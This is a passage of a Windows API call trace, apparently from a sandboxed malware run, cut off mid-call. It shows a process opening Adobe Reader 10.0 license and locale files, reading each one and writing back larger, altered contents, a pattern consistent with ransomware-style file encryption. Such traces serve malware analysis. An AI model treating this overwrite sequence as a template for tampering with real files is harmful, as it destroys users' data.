0x0 [0043.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1d8 [0043.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.061] ReleaseMutex (hMutex=0x128) returned 1 [0043.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.061] ReadFile (in: hFile=0x170, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x304f2bc*=0x1d8, lpOverlapped=0x0) returned 1 [0043.062] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.062] WriteFile (in: hFile=0x170, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x304f2d0*=0x760, lpOverlapped=0x0) returned 1 [0043.062] CloseHandle (hObject=0x170) returned 1 [0043.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x410 [0043.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.063] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.063] ReleaseMutex (hMutex=0x128) returned 1 [0043.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6342c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.063] ReadFile (in: hFile=0x170, lpBuffer=0x276a348, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x304f2bc*=0x410, lpOverlapped=0x0) returned 1 [0043.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.066] WriteFile (in: hFile=0x170, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x304f2d0*=0x998, lpOverlapped=0x0) returned 1 [0043.066] CloseHandle (hObject=0x170) returned 1 [0043.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4a4 [0043.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.067] ReleaseMutex (hMutex=0x128) returned 1 [0043.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.067] ReadFile (in: hFile=0x170, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x4a4, lpOverlapped=0x0) returned 1 [0043.069] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.069] WriteFile (in: hFile=0x170, lpBuffer=0x2720078*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2720078*, lpNumberOfBytesWritten=0x304f2d0*=0xa2c, lpOverlapped=0x0) returned 1 [0043.070] CloseHandle (hObject=0x170) returned 1 [0043.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x410 [0043.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.070] ReleaseMutex (hMutex=0x128) returned 1 [0043.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.071] ReadFile (in: hFile=0x170, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x304f2bc*=0x410, lpOverlapped=0x0) returned 1 [0043.720] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.744] WriteFile (in: hFile=0x170, lpBuffer=0x3a26db8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a26db8*, lpNumberOfBytesWritten=0x304f2d0*=0x998, lpOverlapped=0x0) returned 1 [0043.744] CloseHandle (hObject=0x170) returned 1 [0043.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.745] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.745] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x478 [0043.745] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.745] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.745] ReleaseMutex (hMutex=0x128) returned 1 [0043.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.745] ReadFile (in: hFile=0x170, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x478, lpOverlapped=0x0) returned 1 [0043.746] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.747] WriteFile (in: hFile=0x170, lpBuffer=0x3a26db8*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a26db8*, lpNumberOfBytesWritten=0x304f2d0*=0xa00, lpOverlapped=0x0) returned 1 [0043.747] CloseHandle (hObject=0x170) returned 1 [0043.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.747] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.748] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4a0 [0043.748] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.748] ReleaseMutex (hMutex=0x128) returned 1 [0043.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0043.748] ReadFile (in: hFile=0x170, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x4a0, lpOverlapped=0x0) returned 1 [0043.749] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.749] WriteFile (in: hFile=0x170, lpBuffer=0x2513ca8*, nNumberOfBytesToWrite=0xa28, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2513ca8*, lpNumberOfBytesWritten=0x304f2d0*=0xa28, lpOverlapped=0x0) returned 1 [0043.749] CloseHandle (hObject=0x170) returned 1 [0043.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.750] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.750] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0043.750] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.750] ReleaseMutex (hMutex=0x128) returned 1 [0043.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CAT", lpUsedDefaultChar=0x0) returned 9 [0043.750] ReadFile (in: hFile=0x170, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0043.753] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.753] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0043.753] CloseHandle (hObject=0x170) returned 1 [0043.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.753] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.754] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4c00 [0043.754] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.754] ReleaseMutex (hMutex=0x128) returned 1 [0043.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CAT", lpUsedDefaultChar=0x0) returned 13 [0043.754] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.755] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3c00 [0043.755] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.755] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3c00 [0043.756] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.756] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.756] WriteFile (in: hFile=0x170, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.756] CloseHandle (hObject=0x170) returned 1 [0043.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.757] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.757] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0043.757] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.757] ReleaseMutex (hMutex=0x128) returned 1 [0043.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0043.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CZE", lpUsedDefaultChar=0x0) returned 19 [0043.757] ReadFile (in: hFile=0x170, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0043.758] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.759] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0043.759] CloseHandle (hObject=0x170) returned 1 [0043.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.759] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.759] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x13200 [0043.759] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.759] ReleaseMutex (hMutex=0x128) returned 1 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CZE", lpUsedDefaultChar=0x0) returned 14 [0043.759] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.761] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12200 [0043.761] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.761] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12200 [0043.761] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.762] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.762] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.762] CloseHandle (hObject=0x170) returned 1 [0043.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.762] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.762] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe5 [0043.763] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, 